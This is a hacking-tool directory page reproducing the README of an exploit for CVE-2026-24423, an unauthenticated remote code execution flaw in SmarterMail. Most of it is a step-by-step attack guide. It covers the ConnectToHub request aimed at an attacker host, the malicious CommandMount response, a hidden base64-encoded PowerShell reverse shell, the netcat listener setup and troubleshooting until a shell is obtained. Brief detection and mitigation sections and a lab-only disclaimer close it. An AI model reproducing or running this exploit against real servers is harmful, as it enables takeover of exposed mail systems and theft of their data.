Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
SmarterMail-CVE-2026-24423 — Exploit for CVE-2026-24423 — a critical unauthenticated RCE in SmarterMail's ConnectToHub API. Affects all builds prior to 9511. | Kitploit
Tools/GitHubGitHub/cyberalp0/smartermail-cve-2026-24423
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed TeamingRemote Access Tool
GitHubcyberalp0/smartermail-cve-2026-24423

SmarterMail-CVE-2026-24423

Exploit for CVE-2026-24423 — a critical unauthenticated RCE in SmarterMail's ConnectToHub API. Affects all builds prior to 9511.

View Repository
16h 15m agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

SmarterMail ConnectToHub RCE

A Python-based exploit for CVE-2026-24423, an unauthenticated Remote Code Execution vulnerability in SmarterTools SmarterMail's ConnectToHub functionality.

Intended use: Authorized security testing, CTFs, Hack The Box labs, and controlled research environments only.


Table of Contents

  • Overview
  • CVE Details
  • Affected Versions
  • Vulnerability Description
  • Technical Details
  • Exploitation Flow
  • Requirements
  • Configuration
  • Usage
  • Expected Output
  • Troubleshooting
  • Screenshots
  • Project Structure
  • Mitigation
  • References
  • Disclaimer

Overview

CVE-2026-24423 is an unauthenticated Remote Code Execution vulnerability affecting SmarterTools SmarterMail.

The vulnerability exists in the ConnectToHub functionality. An unauthenticated attacker can supply a malicious , causing the SmarterMail server to make an HTTP request to an attacker-controlled server.

hubAddress

The malicious server responds with a crafted setup-initial-connection response containing a controlled SystemMount.CommandMount value.

The vulnerable SmarterMail instance subsequently processes this value as an operating-system command, allowing arbitrary command execution in the security context of the SmarterMail service.

The vulnerability was assigned a CVSS 4.0 score of 9.3 (Critical) and is classified as CWE-306: Missing Authentication for Critical Function.


CVE Details

FieldValue
CVECVE-2026-24423
VendorSmarterTools
ProductSmarterMail
VulnerabilityUnauthenticated Remote Code Execution
CWECWE-306
CVSS v4.09.3 Critical
CVSS v3.19.8 Critical
Attack VectorNetwork
AuthenticationNone
User InteractionNone
ComplexityLow
PublishedJanuary 23, 2026
Fixed Build9511

The official CVE record describes the issue as an unauthenticated RCE through the ConnectToHub API method.


Affected Versions

SmarterMail versions before Build 9511 are affected.

The CVE record specifies the affected range as:

root@kitploit:~
SmarterMail < 100.0.9511

Build 9511, released January 15, 2026, contains the vendor fix.

Vulnerable

root@kitploit:~
< 100.0.9511

Fixed

root@kitploit:~
>= 100.0.9511

Always verify the exact installed build before attempting to reproduce the vulnerability.


Vulnerability Description

The vulnerable functionality is exposed through the SmarterMail system administration API.

The relevant operation is:

root@kitploit:~
/api/v1/settings/sysadmin/connect-to-hub

The endpoint accepts a hubAddress parameter.

Conceptually, an attacker can provide:

root@kitploit:~
{
    "hubAddress": "http://ATTACKER_IP:8081",
    "oneTimePassword": "temporary-value",
    "nodeName": "DC"
}

SmarterMail then connects to the supplied hub address and requests:

root@kitploit:~
/web/api/node-management/setup-initial-connection

The attacker-controlled server responds with JSON containing a malicious SystemMount object.

The important property is:

root@kitploit:~
"SystemMount": {
    "Enabled": true,
    "ReadOnly": false,
    "MountPath": "...",
    "CommandMount": "..."
}

The CommandMount value is subsequently used by the vulnerable application as an operating-system command.

This allows an attacker to transition from:

root@kitploit:~
Unauthenticated HTTP request

to:

root@kitploit:~
Remote command execution

VulnCheck's technical analysis confirms that the attacker-controlled hubAddress causes SmarterMail to request the attacker's setup-initial-connection endpoint and that the returned CommandMount can provide arbitrary command execution.


Technical Details

The exploit consists of two components:

1. Fake SmarterMail Hub

The Python server listens for:

root@kitploit:~
POST /web/api/node-management/setup-initial-connection

and returns a crafted JSON response containing the malicious SystemMount.CommandMount.

2. Reverse Shell Listener

A separate TCP listener receives the connection initiated by the command executed on the target.

This exploit intentionally uses two separate ports.

root@kitploit:~
8081
└── Fake SmarterMail Hub

4455
└── Reverse Shell Listener

Exploitation Flow

root@kitploit:~
flowchart LR

    A[Attacker<br/>10.10.14.50]

    H[Fake SmarterMail Hub<br/>TCP/8081]

    T[SmarterMail Target<br/>10.129.57.86]

    C[CommandMount<br/>Command Execution]

    P[PowerShell]

    L[Reverse Shell Listener<br/>TCP/4455]

    A -->|Trigger ConnectToHub| T
    T -->|HTTP POST| H
    H -->|Malicious JSON| T
    T -->|CommandMount| C
    C --> P
    P -->|Reverse TCP| L
    L --> A

Connection 1 — Fake Hub

root@kitploit:~
Target
   |
   | HTTP
   v
10.10.14.50:8081

Connection 2 — Reverse Shell

root@kitploit:~
Target
   |
   | TCP
   v
10.10.14.50:4455

These ports serve different purposes and should not be confused.


Requirements

  • Python 3
  • Linux attacker machine
  • Hack The Box VPN or equivalent authorized network
  • Network connectivity from the target to the attacker
  • Netcat
  • Vulnerable SmarterMail installation

The exploit uses only Python standard-library modules:

root@kitploit:~
http.server
json
base64

No external Python packages are required.


Configuration

Edit the following variables:

root@kitploit:~
LHOST = "10.10.14.50"
LPORT = 4455
HUB_PORT = 8081

For the example HTB environment:

root@kitploit:~
LHOST     = 10.10.14.50
LPORT     = 4455
HUB_PORT  = 8081

LHOST

LHOST is the attacker's IP address that the target can reach.

For Hack The Box, this is normally the IP assigned to the HTB VPN interface:

root@kitploit:~
ip addr show tun0

Example:

root@kitploit:~
tun0:
    inet 10.10.14.50

Therefore:

root@kitploit:~
LHOST = "10.10.14.50"

LPORT

LPORT is the TCP port used by the attacker to receive the reverse connection.

Example:

root@kitploit:~
LPORT = 4455

HUB_PORT

HUB_PORT is the HTTP port used by the malicious SmarterMail hub.

Example:

root@kitploit:~
HUB_PORT = 8081

Usage

1. Clone the repository

root@kitploit:~
git clone https://github.com/<username>/<repository>.git
cd <repository>

2. Configure the exploit

Edit:

root@kitploit:~
nano exploit.py

Set:

root@kitploit:~
LHOST = "10.10.14.50"
LPORT = 4455
HUB_PORT = 8081

3. Start the reverse-shell listener

Open a terminal:

root@kitploit:~
nc -lvnp 4455

Expected:

root@kitploit:~
Listening on 0.0.0.0 4455

Keep this terminal open.


4. Start the malicious hub

Open a second terminal:

root@kitploit:~
python3 exploit.py

If binding to the selected port requires elevated privileges:

root@kitploit:~
sudo python3 exploit.py

Expected output:

root@kitploit:~
============================================================
 SmarterMail fake hub
============================================================
[+] LHOST:      10.10.14.50
[+] LPORT:      4455
[+] HUB:        10.10.14.50:8081

[+] Waiting for SmarterMail...
============================================================

5. Trigger ConnectToHub

Send the appropriate request to the vulnerable SmarterMail instance.

The supplied hubAddress must point to the malicious HTTP server:

root@kitploit:~
{
    "hubAddress": "http://10.10.14.50:8081",
    "oneTimePassword": "tempst",
    "nodeName": "DC"
}

The important value is:

root@kitploit:~
http://10.10.14.50:8081

Do not use the reverse-shell port as the hub port.


Port Configuration Summary

PurposeIPPort
Attacker VPN10.10.14.50—
Fake SmarterMail Hub10.10.14.508081
Reverse Shell10.10.14.504455
HTB Target10.129.57.86—

The resulting flow is:

root@kitploit:~
hubAddress
    ↓
10.10.14.50:8081
    ↓
Malicious CommandMount
    ↓
PowerShell
    ↓
10.10.14.50:4455

Payload Encoding

The exploit dynamically creates the PowerShell payload.

PowerShell's -EncodedCommand parameter expects the command to be encoded using UTF-16LE before Base64 encoding.

The script performs:

root@kitploit:~
encoded = base64.b64encode(
    PS.encode("utf-16le")
).decode()

The final command is structured as:

root@kitploit:~
powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -EncodedCommand <BASE64>

This avoids manually encoding the payload and prevents common UTF-8/UTF-16LE encoding mistakes.


Expected Output

When the target reaches the malicious hub:

root@kitploit:~
[+] Received SmarterMail connection
[+] Path: /web/api/node-management/setup-initial-connection
[+] Body: ...
[+] Sending CommandMount payload
[+] Reverse shell -> 10.10.14.50:4455

The reverse-shell listener should subsequently receive a connection:

root@kitploit:~
Connection received on 10.129.57.86 XXXXX

Once connected, basic validation can be performed:

root@kitploit:~
whoami
root@kitploit:~
hostname

Troubleshooting

Fake hub receives no connection

Check that the server is listening:

root@kitploit:~
ss -lntp | grep 8081

Verify the VPN address:

root@kitploit:~
ip addr show tun0

Confirm that LHOST matches the address reachable from the target.


Fake hub receives HTTP 200 but no shell

A successful HTTP request means the first stage is working:

root@kitploit:~
Target
  |
  | HTTP
  v
Fake Hub :8081

It does not necessarily mean the second stage succeeded.

Check:

root@kitploit:~
ss -lntp | grep 4455

Make sure Netcat was started before triggering the exploit.

Also verify:

root@kitploit:~
LHOST = target-reachable attacker IP
LPORT = listener port

Netcat receives the HTTP request instead of a shell

If you see:

root@kitploit:~
POST /web/api/node-management/setup-initial-connection

inside Netcat, you have pointed hubAddress at the reverse-shell listener.

Incorrect:

root@kitploit:~
hubAddress = http://10.10.14.50:4455

Correct:

root@kitploit:~
hubAddress = http://10.10.14.50:8081

The two ports must remain separate.


HTTP 400 response

A 400 response can occur when the fake hub does not return the structure expected by SmarterMail.

Verify that the response contains:

root@kitploit:~
"SystemMount": {
    "Enabled": true,
    "ReadOnly": false,
    "MountPath": "...",
    "CommandMount": "..."
}

Also make sure the requested path is exactly:

root@kitploit:~
/web/api/node-management/setup-initial-connection

The public vulnerability analysis identifies this endpoint as part of the vulnerable ConnectToHub flow.


Screenshots

Add screenshots from the HTB lab here.

1. Target Enumeration

Example:

root@kitploit:~
![Nmap Enumeration](https://raw.githubusercontent.com/cyberalp0/smartermail-cve-2026-24423/HEAD/screenshots/nmap.png)

Suggested screenshot:

  • Nmap results
  • SmarterMail service/version
  • Relevant exposed port

2. Malicious Hub

root@kitploit:~
![Fake Hub](https://raw.githubusercontent.com/cyberalp0/smartermail-cve-2026-24423/HEAD/screenshots/fake-hub.png)

Show:

root@kitploit:~
[+] Received SmarterMail connection
[+] Sending CommandMount payload

3. Exploit Trigger

root@kitploit:~
![Burp Request](https://raw.githubusercontent.com/cyberalp0/smartermail-cve-2026-24423/HEAD/screenshots/burp-request.png)

Show the request containing:

root@kitploit:~
{
    "hubAddress": "http://10.10.14.50:8081"
}

4. Reverse Shell

root@kitploit:~
![Reverse Shell](https://raw.githubusercontent.com/cyberalp0/smartermail-cve-2026-24423/HEAD/screenshots/reverse-shell.png)

Show:

root@kitploit:~
Connection received on 10.129.57.86

and the resulting command prompt.


Project Structure

root@kitploit:~
smartermail-rce/
│
├── exploit.py
├── README.md
│
└── screenshots/
    ├── nmap.png
    ├── burp-request.png
    ├── fake-hub.png
    └── reverse-shell.png

Detection

Potential indicators of exploitation include unexpected requests to:

root@kitploit:~
/api/v1/settings/sysadmin/connect-to-hub

and outbound connections from the SmarterMail server to previously unknown HTTP hosts.

Administrators should also review application, IIS/reverse-proxy, and network logs for suspicious ConnectToHub activity.

CVE-2026-24423 has been included in CISA's Known Exploited Vulnerabilities catalog, indicating that exploitation has been observed outside of laboratory environments.


Mitigation

The primary remediation is to upgrade SmarterMail to Build 9511 or later. The vendor's January 15, 2026 release addressed the vulnerability.

Where immediate patching is not possible, organizations should additionally consider:

  • Restricting access to SmarterMail administrative APIs.
  • Preventing unnecessary external access to management endpoints.
  • Applying network segmentation.
  • Monitoring outbound connections from the SmarterMail server.
  • Reviewing historical logs for suspicious ConnectToHub requests.
  • Investigating unexpected command execution by the SmarterMail service account.

References

  • CVE Record: CVE-2026-24423
  • VulnCheck: SmarterMail ConnectToHub Unauthenticated RCE
  • CODE WHITE: Public Vulnerability List
  • SmarterTools SmarterMail Release Notes
  • CISA Known Exploited Vulnerabilities Catalog

Disclaimer

This project is provided for authorized security research and educational purposes only.

Do not use this exploit against systems that you do not own or do not have explicit permission to test.

The author assumes no responsibility for misuse, damage, data loss, unauthorized access, or other consequences resulting from the use of this software.

Use only in controlled environments such as:

  • Hack The Box
  • Capture-the-Flag competitions
  • Personal laboratories
  • Authorized penetration tests
  • Security research environments

Credits

CVE-2026-24423 was credited to:

  • Sina Kheirkhah
  • Piotr Bazydlo
  • Markus Wulftange
  • Cale Black

The CVE was published by VulnCheck on January 23, 2026.

Download Tool